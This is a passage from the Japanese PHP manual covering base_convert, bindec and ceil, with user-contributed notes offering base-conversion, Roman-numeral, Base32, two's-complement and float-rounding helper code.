        for ($i = 1;$i <= $numberLen; $i++)
            $retval = bcadd($retval, bcmul(array_search($number[$i-1], $fromBase),bcpow($fromLen,$numberLen-$i)));
        return $retval;
    }
    if ($fromBaseInput != '0123456789')
        $base10=convBase($numberInput, $fromBaseInput, '0123456789');
    else
        $base10 = $numberInput;
    if ($base10<strlen($toBaseInput))
        return $toBase[$base10];
    while($base10 != '0')
    {
        $retval = $toBase[bcmod($base10,$toLen)].$retval;
        $base10 = bcdiv($base10,$toLen,0);
    }
    return $retval;
}
?>
bpds 30-Sep-2011 05:47
A simple function to convert an int to any base.

<?php
function intToAlphaBaseN($n,$baseArray) {
    $l=count($baseArray);
    $s = '';
    for ($i = 1; $n >= 0 && $i < 10; $i++) {
        $s =  $baseArray[($n % pow($l, $i) / pow($l, $i - 1))].$s;
        $n -= pow($l, $i);
    }
    return $s;
}

$alpha=array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z');
$r=rand(0, 99999999999);
echo(intToAlphaBaseN($r,$alpha));
?>
JR 16-Aug-2011 04:19
Short arabic2roman conveter:

<?php
function rome($N){
        $c='IVXLCDM';
        for($a=5,$b=$s='';$N;$b++,$a^=7)
                for($o=$N%$a,$N=$N/$a^0;$o--;$s=$c[$o>2?$b+$N-($N&=-2)+$o=1:$b].$s);
        return $s;
}
?>

And it works :)
bryan at bryanruiz dot com 03-Feb-2011 03:11
A RFC 4648 Compliant Base32 encode.  Send me an email if you end up making this thing more efficient with bitwise operations and whatever else.

<?php

/**
 * Encode in Base32 based on RFC 4648.
 * Requires 20% more space than base64
 * Great for case-insensitive filesystems like Windows and URL's  (except for = char which can be excluded using the pad option for urls)
 *
 * @package default
 * @author Bryan Ruiz
 **/
class Base32 {

   private static $map = array(
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', //  7
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', // 15
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', // 23
        'Y', 'Z', '2', '3', '4', '5', '6', '7', // 31
        '='  // padding char
    );

   private static $flippedMap = array(
        'A'=>'0', 'B'=>'1', 'C'=>'2', 'D'=>'3', 'E'=>'4', 'F'=>'5', 'G'=>'6', 'H'=>'7',
        'I'=>'8', 'J'=>'9', 'K'=>'10', 'L'=>'11', 'M'=>'12', 'N'=>'13', 'O'=>'14', 'P'=>'15',
        'Q'=>'16', 'R'=>'17', 'S'=>'18', 'T'=>'19', 'U'=>'20', 'V'=>'21', 'W'=>'22', 'X'=>'23',
        'Y'=>'24', 'Z'=>'25', '2'=>'26', '3'=>'27', '4'=>'28', '5'=>'29', '6'=>'30', '7'=>'31'
    );

    /**
     *    Use padding false when encoding for urls
     *
     * @return base32 encoded string
     * @author Bryan Ruiz
     **/
    public static function encode($input, $padding = true) {
        if(empty($input)) return "";
        $input = str_split($input);
        $binaryString = "";
        for($i = 0; $i < count($input); $i++) {
            $binaryString .= str_pad(base_convert(ord($input[$i]), 10, 2), 8, '0', STR_PAD_LEFT);
        }
        $fiveBitBinaryArray = str_split($binaryString, 5);
        $base32 = "";
        $i=0;
        while($i < count($fiveBitBinaryArray)) {
            $base32 .= self::$map[base_convert(str_pad($fiveBitBinaryArray[$i], 5,'0'), 2, 10)];
            $i++;
        }
        if($padding && ($x = strlen($binaryString) % 40) != 0) {
            if($x == 8) $base32 .= str_repeat(self::$map[32], 6);
            else if($x == 16) $base32 .= str_repeat(self::$map[32], 4);
            else if($x == 24) $base32 .= str_repeat(self::$map[32], 3);
            else if($x == 32) $base32 .= self::$map[32];
        }
        return $base32;
    }

    public static function decode($input) {
        if(empty($input)) return;
        $paddingCharCount = substr_count($input, self::$map[32]);
        $allowedValues = array(6,4,3,1,0);
        if(!in_array($paddingCharCount, $allowedValues)) return false;
        for($i=0; $i<4; $i++){
            if($paddingCharCount == $allowedValues[$i] &&
                substr($input, -($allowedValues[$i])) != str_repeat(self::$map[32], $allowedValues[$i])) return false;
        }
        $input = str_replace('=','', $input);
        $input = str_split($input);
        $binaryString = "";
        for($i=0; $i < count($input); $i = $i+8) {
            $x = "";
            if(!in_array($input[$i], self::$map)) return false;
            for($j=0; $j < 8; $j++) {
                $x .= str_pad(base_convert(@self::$flippedMap[@$input[$i + $j]], 10, 2), 5, '0', STR_PAD_LEFT);
            }
            $eightBits = str_split($x, 8);
            for($z = 0; $z < count($eightBits); $z++) {
                $binaryString .= ( ($y = chr(base_convert($eightBits[$z], 2, 10))) || ord($y) == 48 ) ? $y:"";
            }
        }
        return $binaryString;
    }
}
francesco[at]paladinux.net 23-Sep-2010 03:30
base convert is limited on standard base invented.
In some case, if you want to invented some translate code (for authorizion code 4 example) , I hope is usefull this example of base_convert-AS from decimal in 65imal base for a speedCode.
Some more specifical: you can transform using a db
$speedCodeDEC            = $idAziendaMittente.$idAziendaDestinatario.$idDDT ;

//$speedCodeDEC = 3000;

//
$BASECODE = array();
$BASECODE['items'] = 65;
$BASECODE[1]='1';
$BASECODE[2]='2';
$BASECODE[3]='3';
$BASECODE[4]='4';
....
$BASECODE[10]='a';
$BASECODE[11]='b';
$BASECODE[12]='c';
...
$BASECODE[36]='A';
$BASECODE[37]='B';
$BASECODE[38]='C';
...
$BASECODE[61]='Z';
$BASECODE[62]='/';
$BASECODE[63]='-';
$BASECODE[64]='+';
//

//print_r ($BASECODE);TEST

function creaSpeedCode ( $speedCodeDEC,$partialCode="",$BASECODE){

    @$division      = $speedCodeDEC/$BASECODE['items'];
    @$resultINT   = floor($speedCodeDEC/$BASECODE['items']);
    @$remnant          = $speedCodeDEC%$BASECODE['items'];
    $partialCode  = $BASECODE[$remnant].$partialCode;
echo "
    <br>
    Inserito speedCodeDEC:$speedCodeDEC - partialCode:$partialCode<br>
    items            : ".$BASECODE['items']."<br>
    division          : $division    <br>
    resultINT        : $resultINT    <br>
    remnant            : $remnant        <br>
    partialCode        : $partialCode    <br>
";//TEST
    if ($resultINT > 65)     $partialCode = creaSpeedCode($resultINT,$partialCode,$BASECODE);
    return $BASECODE[$resultINT].$partialCode;
}
echo $speedCodeDEC."<br>";
echo $risultato = creaSpeedCode ( $speedCodeDEC,"",$BASECODE);
Theriault 30-Nov-2009 02:11
If you would like to convert numbers into just the uppercase alphabet base and vice-versa (e.g. the column names in a Microsoft Windows Excel sheet..A-Z, AA-ZZ, AAA-ZZZ, ...), the following functions will do this.

<?php

/**
 * Converts an integer into the alphabet base (A-Z).
 *
 * @param int $n This is the number to convert.
 * @return string The converted number.
 * @author Theriault
 *
 */
function num2alpha($n) {
    $r = '';
    for ($i = 1; $n >= 0 && $i < 10; $i++) {
        $r = chr(0x41 + ($n % pow(26, $i) / pow(26, $i - 1))) . $r;
        $n -= pow(26, $i);
    }
    return $r;
}
/**
 * Converts an alphabetic string into an integer.
 *
 * @param int $n This is the number to convert.
 * @return string The converted number.
 * @author Theriault
 *
 */
function alpha2num($a) {
    $r = 0;
    $l = strlen($a);
    for ($i = 0; $i < $l; $i++) {
        $r += pow(26, $i) * (ord($a[$l - $i - 1]) - 0x40);
    }
    return $r - 1;
}

?>

Microsoft Windows Excel stops at IV (255), but this function can handle much larger. However, English words will start to form after a while and some may be offensive, so be careful.
cyrilbele at yahoo dot fr 16-Apr-2009 01:58
If you want to do sharding, at some point you will need to decide which shard to target. Here is a simple function to assign the data to a particular shard based on a key (usually identifier of the row)

Here is a simple function to get the shard based on the key and the number of shards available

<?php
function getShard($key,$nbShards) {
    $num = substr(base_convert(sha1($key), 16, 10),4,6);
    return $num%$nbShards;
}
?>
Ray Paseur sometimes uses GMail 06-Dec-2006 03:55
[EDIT BY danbrown AT php DOT net: This function provides conversion of Arabic numerals (those used by most of the world, the standard 1,2,3,4,...) into Roman numerals (I,II,III,IV,...).  The original author failed to provide a description, but due to the usefulness of the function, it is being preserved from deletion, and a simple description added.]

<?php
function roman_numerals($input_arabic_numeral='') {

    if ($input_arabic_numeral == '') { $input_arabic_numeral = date("Y"); } // DEFAULT OUTPUT: THIS YEAR
    $arabic_numeral            = intval($input_arabic_numeral);
    $arabic_numeral_text    = "$arabic_numeral";
    $arabic_numeral_length    = strlen($arabic_numeral_text);

    if (!ereg('[0-9]', $arabic_numeral_text)) {
return false; }

    if ($arabic_numeral > 4999) {
return false; }

    if ($arabic_numeral < 1) {
return false; }

    if ($arabic_numeral_length > 4) {
return false; }

    $roman_numeral_units    = $roman_numeral_tens        = $roman_numeral_hundreds        = $roman_numeral_thousands        = array();
    $roman_numeral_units[0]    = $roman_numeral_tens[0]    = $roman_numeral_hundreds[0]    = $roman_numeral_thousands[0]    = ''; // NO ZEROS IN ROMAN NUMERALS

    $roman_numeral_units[1]='I';
    $roman_numeral_units[2]='II';
    $roman_numeral_units[3]='III';
    $roman_numeral_units[4]='IV';
    $roman_numeral_units[5]='V';
    $roman_numeral_units[6]='VI';
    $roman_numeral_units[7]='VII';
    $roman_numeral_units[8]='VIII';
    $roman_numeral_units[9]='IX';

    $roman_numeral_tens[1]='X';
    $roman_numeral_tens[2]='XX';
    $roman_numeral_tens[3]='XXX';
    $roman_numeral_tens[4]='XL';
    $roman_numeral_tens[5]='L';
    $roman_numeral_tens[6]='LX';
    $roman_numeral_tens[7]='LXX';
    $roman_numeral_tens[8]='LXXX';
    $roman_numeral_tens[9]='XC';

    $roman_numeral_hundreds[1]='C';
    $roman_numeral_hundreds[2]='CC';
    $roman_numeral_hundreds[3]='CCC';
    $roman_numeral_hundreds[4]='CD';
    $roman_numeral_hundreds[5]='D';
    $roman_numeral_hundreds[6]='DC';
    $roman_numeral_hundreds[7]='DCC';
    $roman_numeral_hundreds[8]='DCCC';
    $roman_numeral_hundreds[9]='CM';

    $roman_numeral_thousands[1]='M';
    $roman_numeral_thousands[2]='MM';
    $roman_numeral_thousands[3]='MMM';
    $roman_numeral_thousands[4]='MMMM';

    if ($arabic_numeral_length == 3) { $arabic_numeral_text = "0" . $arabic_numeral_text; }
    if ($arabic_numeral_length == 2) { $arabic_numeral_text = "00" . $arabic_numeral_text; }
    if ($arabic_numeral_length == 1) { $arabic_numeral_text = "000" . $arabic_numeral_text; }

    $anu = substr($arabic_numeral_text, 3, 1);
    $anx = substr($arabic_numeral_text, 2, 1);
    $anc = substr($arabic_numeral_text, 1, 1);
    $anm = substr($arabic_numeral_text, 0, 1);

    $roman_numeral_text = $roman_numeral_thousands[$anm] . $roman_numeral_hundreds[$anc] . $roman_numeral_tens[$anx] . $roman_numeral_units[$anu];
return ($roman_numeral_text);
}
?>
CJ Dennis 06-Apr-2006 01:03
Really huge numbers might be truncated at both ends.
eg:
<?php
$binary="11010101001111010001110101000100011110010110110".
"001111000010001010001111001100011010110110010010011010".
"001011010000001001011111110001010101101101011010101010".
"000100011101110010110010100111110001010010111010110011".
"001111111100011001011011001110001111110000101011010010";
print(strtoupper(base_convert($binary, 2, 16)));
?>
will output:
9E8EA23CB63C0000000000000000000000000000000000000000000000000000 (64 hex digits)
when the correct result would be:
6A9E8EA23CB63C228F31AD9268B4097F156D6AA11DCB29F14BACCFF196CE3F0AD2 (66 hex digits)
Notice that as well as the result showing '0's after B63C which you would expect it is also missing the first 6A before 9E.
lindsay at bitleap dot com 18-Mar-2005 01:17
If you need to use base_convert with numbers larger then 32 bit, the following gmp implementation of base_convert should work.

<?php

/*use gmp library to convert base. gmp will convert numbers > 32bit*/
function gmp_convert($num, $base_a, $base_b)
{
        return gmp_strval ( gmp_init($num, $base_a), $base_b );
}

?>
simon at simonster dot com 15-Jun-2004 06:05
Here are some functions for converting integers to and from base 256. Converting to base 64 is simple given these.

<?php
function to_base256($number, $from_base = 10) {
    $binary_number = base_convert($number, $from_base, 2);
    $final_string = "";
    $new_length = (ceil(strlen($binary_number)/8)*8);
    $binary_number = str_pad($binary_number, $new_length, "0", STR_PAD_LEFT);
    for($i=($new_length-8); $i>=0; $i-=8) {
        $final_string = chr(base_convert(substr($binary_number, $i, 8), 2, 10)).$final_string;
    }
    return $final_string;
}

function from_base256($string, $to_base = 10) {
    $number = "";
    for($i=0; $i<strlen($string); $i++) {
        $number .= str_pad(base_convert(ord($string{$i}), 10, 2), 8, "0", STR_PAD_LEFT);
    }
    return base_convert($number, 2, $to_base);
}
?>

Yes, I know that this would be more efficient if it used mod instead of base_convert, but it needs to work with integers > 32 bits.
AdamJacobMuller at AdamJacobMuller dot com 28-Apr-2004 02:20
<?php
function binarycodedstring2dec($binary) {
        $len=strlen($binary);
        $rows=($len/4)-1;
        if (($len%4)>0) {
                $pad=$len+(4-($len%4));
                $binary=str_pad($binary,$pad,"0",STR_PAD_LEFT);
                $len=strlen($binary);
                $rows=($len/4)-1;
        }
        $x=0;
        for ($x=0;$x<=$rows;$x++) {
                $s=($x*4);
                $bins=$binary[$s].$binary[$s+1].$binary[$s+2].$binary[$s+3];
                $num=base_convert($bins,2,10);
                if ($num>9) {
                        die("the string is not a proper binary coded decimal\n");
                } else {
                        $res.=$num;
                }
        }
        return $res;
}
?>

a binary coded decimal is converted by taking groups of four from a decimal string,
for example the binary coded decimal string
1000 = 8
10001000 does not = 136 but 88
so
binarycodedstring2dec(1000) = 8
binarycodedstring2dec(11100000111001)=3839
binarycodedstring2dec(100000111001)=839

i truly have no idea if this function will be useful to anyone, i simply failed a physics midterm because i didn't know this so i wrote this function to make sure i would never forget how to convert binary coded decimals
fiftytoo at buckeyeexpress dot com 24-Dec-2003 12:57
I needed a function to invert a hex value, which i used for setting font colors when they were on a colored background, that way i will get a contrasting color.

Im sure there are other reasons to use this, you decide!!

<?php
function InvertColor($hex) {
  return sprintf("%06s",base_convert(($hex ^ 0xFFFFFF),10,16));
  };

print '<td bgcolor="BB2222"><font color="'.InvertColor(0xBB2222).'">Blah</font></td>';
// Prints 44dddd as the font color, which is it's opposite on the color wheel

?>


2 進数 を 10 進数に変換する

  • ≪ base_convert
  • ceil ≫
  • PHP Manual
  • Math 関数
  • 2 進数 を 10 進数に変換する

bindec

(PHP 4, PHP 5, PHP 7, PHP 8)

bindec — 2 進数 を 10 進数に変換する

説明

bindec ( string $binary_string ) : int|float

引数 binary_string により指定された 2 進数と等価な 10 進数を返します。

bindec() は、2 進数を int に変換します。 サイズの問題により、必要に応じて float となることもあります。

bindec() は、すべての binary_string 値を符号なし整数として扱います。 これは、bindec() が最上位ビットを 符号ビットではなく別の桁とみなすからです。

パラメータ

binary_string

変換したい 2 進数文字列。 binary_string に無効な文字を与えても、静かに無視されます。 PHP 7.4.0 以降では、無効な文字を与えることは推奨されません。

警告

このパラメータは文字列でなければなりません。 他のデータ型を使用すると、予期せぬ結果となります。

返り値

binary_string を 10 進に変換した値を返します。

変更履歴

バージョン | 説明
7.4.0 | 無効な文字を与えると、非推奨の警告が出るようになりました。 結果は不正な文字がなかったかのように計算されます。

例

例1 bindec() の例

<?php
echo bindec('110011') . "\n";
echo bindec('000110011') . "\n";

echo bindec('111');
?>

上の例の出力は以下となります。

51
51
7

例2 bindec() が入力を符号なし整数として処理する例

<?php
/*
 * The lesson from this example is in the output
 * rather than the PHP code itself.
 */

$magnitude_lower = pow(2, (PHP_INT_SIZE * 8) - 2);
p($magnitude_lower - 1);
p($magnitude_lower, 'See the rollover?  Watch it next time around...');

p(PHP_INT_MAX, 'PHP_INT_MAX');
p(~PHP_INT_MAX, 'interpreted to be one more than PHP_INT_MAX');

if (PHP_INT_SIZE == 4) {
    $note = 'interpreted to be the largest unsigned integer';
} else {
    $note = 'interpreted to be the largest unsigned integer
              (18446744073709551615) but skewed by float precision';
}
p(-1, $note);

function p($input, $note = '') {
    echo "input:        $input\n";

    $format = '%0' . (PHP_INT_SIZE * 8) . 'b';
    $bin = sprintf($format, $input);
    echo "binary:       $bin\n";

    ini_set('precision', 20);  // For readability on 64 bit boxes.
    $dec = bindec($bin);
    echo 'bindec():     ' . $dec . "\n";

    if ($note) {
        echo "NOTE:         $note\n";
    }

    echo "\n";
}
?>

上の例の 32 ビットマシンでの出力は、このようになります。

input:        1073741823
binary:       00111111111111111111111111111111
bindec():     1073741823

input:        1073741824
binary:       01000000000000000000000000000000
bindec():     1073741824
NOTE:         See the rollover?  Watch it next time around...

input:        2147483647
binary:       01111111111111111111111111111111
bindec():     2147483647
NOTE:         PHP_INT_MAX

input:        -2147483648
binary:       10000000000000000000000000000000
bindec():     2147483648
NOTE:         interpreted to be one more than PHP_INT_MAX

input:        -1
binary:       11111111111111111111111111111111
bindec():     4294967295
NOTE:         interpreted to be the largest unsigned integer

上の例の 64 ビットマシンでの出力は、このようになります。

input:        4611686018427387903
binary:       0011111111111111111111111111111111111111111111111111111111111111
bindec():     4611686018427387903

input:        4611686018427387904
binary:       0100000000000000000000000000000000000000000000000000000000000000
bindec():     4611686018427387904
NOTE:         See the rollover?  Watch it next time around...

input:        9223372036854775807
binary:       0111111111111111111111111111111111111111111111111111111111111111
bindec():     9223372036854775807
NOTE:         PHP_INT_MAX

input:        -9223372036854775808
binary:       1000000000000000000000000000000000000000000000000000000000000000
bindec():     9223372036854775808
NOTE:         interpreted to be one more than PHP_INT_MAX

input:        -1
binary:       1111111111111111111111111111111111111111111111111111111111111111
bindec():     18446744073709551616
NOTE:         interpreted to be the largest unsigned integer
              (18446744073709551615) but skewed by float precision

注意

注意:

この関数は、プラットフォームの int 型に収まらない大きな数も変換できます。 その場合、結果は float で返します。

参考

  • decbin() - 10 進数を 2 進数に変換する
  • octdec() - 8 進数を 10 進数に変換する
  • hexdec() - 16 進数を 10 進数に変換する
  • base_convert() - 数値の基数を任意に変換する

User Contributed Notes

jpfstange at gmail dot com 09-Dec-2015 08:54
<?php

       //binfloat (For single precision floating point numbers)
       //IEE754
       //https://en.wikipedia.org/wiki/Single-precision_floating-point_format

        function binfloat(Array $num){

                $sign           =       $num[0] ? 1 : -1;                       //1 bit
                $exponent       =       pow(2,bindec(implode('',array_slice($num,1,8)))-127);
                $fraction       =       array_slice($num,9,count($num));        //23 bits
                $fracSum        =       1;

                for($i=0;$i<23;$i++){

                        $fracSum += $fraction[$i] * pow(2,-1-$i);

                }

                return $fracSum*$exponent;

        }

        $num    =       isset($_GET['num']) ? $_GET['num'] : '00111110001000000000000000000000';

        if(strlen($num)<32){

                echo "Invalid binary number $num\n";
                exit(1);

        }

        $num    =       str_split($num);

        echo sprintf('Num is: [%s]%s',implode('',$num),"\n");
        echo sprintf('Result is: %s%s',binfloat($num),"\n");
patrick dot boens at latosensu dot be 15-Jul-2012 01:14
Left-shift a string by a number of bytes
<?php
function STR_shl( $szStr,$nBits )
/*-----------------------------*/
{
    if ( $nBits < 1 || $nBits > 7 )                                     /* If not adequate number of bits */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( $nBits < 1 || $nBits > 7 ) */

    if ( ( $iLength = strlen( $szStr ) ) <= 0 )                         /* If string empty */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( ( $iLength = strlen( $szStr ) ) <= 0 ) */

    $szRetVal   = '';                                                   /* Create an empty string */

    $szBits     = STR_Binary( $szStr );                                 /* $szStr in bits */
    $szLostBits = STR_Left( $szBits,$nBits );                           /* The $nBits leftmost bits of the string */
    $szShifted  = substr( $szBits,$nBits ) . $szLostBits;               /* $szStr left shifted */

    for ( $i = 0;$i < $iLength;$i++ )                                   /* Treat the entire string (per slice of 8 bits) */
    {
        $szRetVal .= chr( bindec( substr( $szShifted,$i * 8,8 ) ) );    /* Concatenate the CHR to the result string */
    }   /* for ( $i = 0;$i < $iLength;$i++ ) */

    return ( $szRetVal );                                               /* Return result to caller */
}
?>

Right-shift a string by a number of bytes
<?php

function STR_shr( $szStr,$nBits )
/*-----------------------------*/
{
    if ( $nBits < 1 || $nBits > 7 )                                     /* If not adequate number of bits */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( $nBits < 1 || $nBits > 7 ) */

    if ( ( $iLength = strlen( $szStr ) ) <= 0 )                         /* If string empty */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( ( $iLength = strlen( $szStr ) ) <= 0 ) */

    $szRetVal   = '';                                                   /* Create an empty string */

    $szBits     = STR_Binary( $szStr );                                 /* $szStr in bits */
    $szLostBits = STR_Right( $szBits,$nBits );                          /* The $nBits rightmost bits of the string */
    $szShifted  = $szLostBits . substr( $szBits,0,-$nBits );            /* $szStr right shifted */

    for ( $i = 0;$i < $iLength;$i++ )                                   /* Treat the entire string (per slice of 8 bits) */
    {
        $szRetVal .= chr( bindec( substr( $szShifted,$i * 8,8 ) ) );    /* Concatenate the CHR to the result string */
    }   /* for ( $i = 0;$i < $iLength;$i++ ) */

    return ( $szRetVal );                                               /* Return result to caller */
}
?>

Additional functions used by the two preceding:
<?php
function STR_Binary( $szStr )
/*-------------------------*/
{
    $szRetVal = '';                                                     /* Ready to return an empty string */

    if ( ( $iLength = strlen( $szStr ) ) > 0 )                          /* If string NOT empty */
    {
        for ( $i = 0; $i < $iLength;$i++ )                              /* Treat each character of the string */
        {
            $szRetVal .= sprintf( '%08b',ord( $szStr[$i] ) );           /* Turn this char to a binary representation (8 bits) */
        }   /* for ( $i = 0; $i < $iLength;$i++ ) */
    }   /* if ( ( $iLength = strlen( $szStr ) ) > 0 ) */

    return ( $szRetVal );                                               /* Return result to caller */
}

function STR_Left( $szStr,$iCount = 1 )
/*----------------------------------*/
{
    return substr( $szStr,0,$iCount );
}   /* End of function strleft() */

function STR_Right( $szString,$iCount )
/*----------------------------------*/
{
    return substr( $szString,0 + strlen( $szString ) - $iCount,$iCount );
}
?>
info at rickdg dot nl 01-Apr-2010 04:40
Two functions to convert 16bit or 8bit binary to integer using two's complement. If input exceeds maximum bits, false is returned. Function is easily scalable to x bits by changing the hexadecimals.

<?php function _bin16dec($bin) {
    // Function to convert 16bit binary numbers to integers using two's complement
    $num = bindec($bin);
    if($num > 0xFFFF) { return false; }
    if($num >= 0x8000) {
        return -(($num ^ 0xFFFF)+1);
    } else {
        return $num;
    }
}

function _bin8dec($bin) {
    // Function to convert 8bit binary numbers to integers using two's complement
    $num = bindec($bin);
    if($num > 0xFF) { return false; }
    if($num >= 0x80) {
        return -(($num ^ 0xFF)+1);
    } else {
        return $num;
    }
} ?>
Nitrogen 21-Jul-2009 07:27
Binary to Decimal conversion using the BCMath extension..

<?php

function BCBin2Dec($Input='') {
  $Output='0';
  if(preg_match("/^[01]+$/",$Input)) {
    for($i=0;$i<strlen($Input);$i++)
      $Output=BCAdd(BCMul($Output,'2'),$Input{$i});
  }
  return($Output);
}

?>

This will simply convert from Base-2 to Base-10 using BCMath (arbitrary precision calculation).

See also: my 'BCDec2Bin' function on the 'decbin' document.
Enjoy,
Nitrogen.
nodarinodo at mail dot ru 08-Jan-2009 11:51
<?php
// bindecfunc :)))) I think it works well too :)
function bindecc($str)
    {
        $str = str_replace(" ", "", $str);
        $strr = preg_match('/[^01]/', $str);
        if($strr == 1) { return "<b> Error ! only 1 and 0;</b>"; }
        $strsig = strlen($str);
        $strr1 = strrev($str);
        $strf = '';
        for($i = $strsig; $i >= 0; $i--)
        {
            $strf += ($strr1[$i] * pow(2, $i));
            #$strf += $str[$i];
        }
        return $strf;
    }
?>
flashpack at gmail dot com 16-Nov-2008 04:40
for converting fractions :
eg : 1001.1101

<?php
function BinaryToDecimal($binary){
  $binary=trim($binary);
  if (strstr($binary,'.')){
    $split=explode('.',$binary);
    $integer=$split[0];
    $fraction=$split[1];

    $digits=str_split($fraction);
    $num=sizeof($digits);
    for ($i=1; $i<=$num;$i++){
      if ($digits[$i-1]>1){
        echo '<script>alert("Enter Binary Digits Only {0,1}\n \n eg: 11001 or 11001.011");history.go(-1)</script> ';
      }
      $exponent=pow(2,-$i);
      $fraction_result+=$digits[$i-1]*$exponent;
    }

  }else{
    $integer=$binary;
  }

  $splits=str_split($integer);
  $num=sizeof($splits)-1;
  $i=$num;
  foreach($splits as $digits){
    if ($digits>1){
      echo '<script>alert("Enter Binary Digits Only {0,1}\n \n eg: 11001 or 11001.011");history.go(-1)</script> ';
    }
    $exponent=pow(2,$i);
    $integer_result+=$digits*$exponent;
    $i--;
  }
  if($fraction_result){
    $result=$integer_result+$fraction_result;
  }else {
    $result=$integer_result;
  }
  return $result ;
}
?>
mashematician at gmail dot com 13-Mar-2008 08:57
A binary to decimal conversion function that takes advantage of the BC library functions to return decimal values of arbitrary length.

Input type must be a string in order to work properly.

<?php

function binary_to_decimal($a) {
    $bin_array = str_split($a);

    $y=sizeof($bin_array)-1;
    for ($x=0; $x<sizeof($bin_array)-1; $x++) {
        if ($bin_array[$x] == 1) {
            $bin_array[$x] = bcpow(2, $y);
        }
        $y--;
    }

    for ($z=0; $z<sizeof($bin_array); $z++) {
        $result = bcadd($result, $bin_array[$z]);
    }
    echo $result;
}

binary_to_decimal('11111');

?>
alan hogan dot com slash contact 09-Nov-2007 01:34
The "smartbindec" function I wrote below will convert any binary string (of a reasonable size) to decimal.  It will use two's complement if the leftmost bit is 1, regardless of bit length.  If you are getting unexpected negative answers, try zero-padding your strings with sprintf("%032s", $yourBitString).

<?php
function twoscomp($bin) {
    $out = "";
    $mode = "init";
    for($x = strlen($bin)-1; $x >= 0; $x--) {
        if ($mode != "init")
            $out = ($bin[$x] == "0" ? "1" : "0").$out;
        else {
            if($bin[$x] == "1") {
                $out = "1".$out;
                $mode = "invert";
            }
            else
                $out = "0".$out;
        }
    }
    return $out;
}
function smartbindec($bin) {
    if($bin[0] == 1)
        return -1 * bindec(twoscomp($bin));
    else return (int) bindec($bin);
}
?>
gwbdome at freenet dot de 19-Aug-2004 02:43
i think a better method than the "shift-method" is my method ^^...
here it comes:

function convert2bin($string) {
     $finished=0;
     $base=1;
     if(preg_match("/[^0-9]/", $string)) {
         for($i=0; $string!=chr($i); $i++);
         $dec_nr=$i;
     }
     else $dec_nr=$string;
     while($dec_nr>$base) {
         $base=$base*2;
         if($base>$dec_nr) {
             $base=$base/2;
             break;
         }
     }
     while(!$finished) {
         if(($dec_nr-$base)>0) {
             $dec_nr=$dec_nr-$base;
             $bin_nr.=1;
             $base=$base/2;
         }
         elseif(($dec_nr-$base)<0) {
             $bin_nr.=0;
             $base=$base/2;
         }
         elseif(($dec_nr-$base)==0) {
             $bin_nr.=1;
             $finished=1;
             while($base>1) {
                 $bin_nr.=0;
                 $base=$base/2;
             }
         }
     }
     return $bin_nr;
 }

=====================================================

if you want to reconvert it (from binary to string or integer) you can use this function:

function reconvert($bin_nr) {
     $base=1;
     $dec_nr=0;
     $bin_nr=explode(",", preg_replace("/(.*),/", "$1", str_replace("1", "1,", str_replace("0", "0,", $bin_nr))));
     for($i=1; $i<count($bin_nr); $i++) $base=$base*2;
     foreach($bin_nr as $key=>$bin_nr_bit) {
         if($bin_nr_bit==1) {
             $dec_nr+=$base;
             $base=$base/2;
         }
         if($bin_nr_bit==0) $base=$base/2;
     }
     return(array("string"=>chr($dec_nr), "int"=>$dec_nr));
 }
martin at punix dot de 29-May-2003 10:47
## calculate binary with "shift-method" ##

<?php
function dec2bin($decimal_code){
 for($half=($decimal_code);$half>=1;$half=(floor($half))/2){
   if(($half%2)!=0){
    $y.=1;
   }
   else{
    $y.=0;
   }
  }
 $calculated_bin=strrev($y);
 return $calculated_bin;
}
?>

## example ##

[bin] 123 = [dec] 1111011

e.g.
123/2 = 61,5 => 1
61/2  = 30,5 => 1
30/2  = 15   => 0
15/2  = 7,5  => 1
7/2   = 3,5  => 1
3/2   = 1,5  => 1
1/2   = 0,5  => 1
(0/2   = 0    finish)


端数の切り上げ

  • ≪ bindec
  • cos ≫
  • PHP Manual
  • Math 関数
  • 端数の切り上げ

ceil

(PHP 4, PHP 5, PHP 7, PHP 8)

ceil — 端数の切り上げ

説明

ceil ( float $value ) : float

value の次に大きい整数値を返します。

パラメータ

value

丸める値。

返り値

value の次に大きい整数値を返します。 ceil() の返り値は float 型と なります。これは、float 値の範囲は通常 int よりも広いためです。

例

例1 ceil() の例

<?php
echo ceil(4.3);    // 5
echo ceil(9.999);  // 10
echo ceil(-3.14);  // -3
?>

参考

  • floor() - 端数の切り捨て
  • round() - 浮動小数点数を丸める

User Contributed Notes

eep2004 at ukr dot net 13-May-2018 10:09
Caution!
<?php
$value = 77.4;
echo ceil($value * 100) / 100;         // 77.41 - WRONG!
echo ceil(round($value * 100)) / 100;  // 77.4 - OK!
eep2004 at ukr dot net 12-May-2018 10:52
Caution!
<?php
$value = 77.4;
echo ceil($value * 100) / 100;            // 77.41 - WRONG!
echo ceil((string)($value * 100)) / 100;  // 77.4 - OK!
Anonymous 03-Nov-2015 09:22
Just a quick note to be careful of, if you use the "round_up" code suggested by steve, i must warn you it isn't completely fool proof.

I have the following maths which is evaluated incorrectly

37.2000 - 6.2000 = 31.01

echo(round_up(37.2000 - 6.2000,2));

This returns the incorrect result, 31.01 which as any junior in mathematics knows...IS WRONG!

use with caution.
Bas Vijfwinkel 25-May-2015 03:38
Note that 'ceil' can show unexpected behaviour when using float values due to inaccuracies in the float system and PHP tendency to freely limiting the number of digits it displays to the user.
It might like it is rounding up values that end in 0 (zero) but actually PHP is not showing that the value is not exactly the value it shows.

<?PHP
echo('Displaying 13915.0000000000018190 : '. 13915.0000000000018190);
echo('<br>');
echo('Result ceil(13915.0000000000018190) :'.ceil(13915.0000000000018190));
echo('<br>');
?>
For example 13915 cannot be represented as exactly 13915 but becomes
13916.0000000000018190 and 'ceil' will therefore round it up to 13916.

<?PHP
$value = 12650 * 1.1;
echo('Expected behaviour : ceil(12650 * 1.1) = ceil(13915) = 13915');
echo('<br>');
echo('Using only ceil :'.ceil($value));
echo('<br>');
echo('Showing decimals : '.number_format($value - floor($value), 16));
echo('<br>');
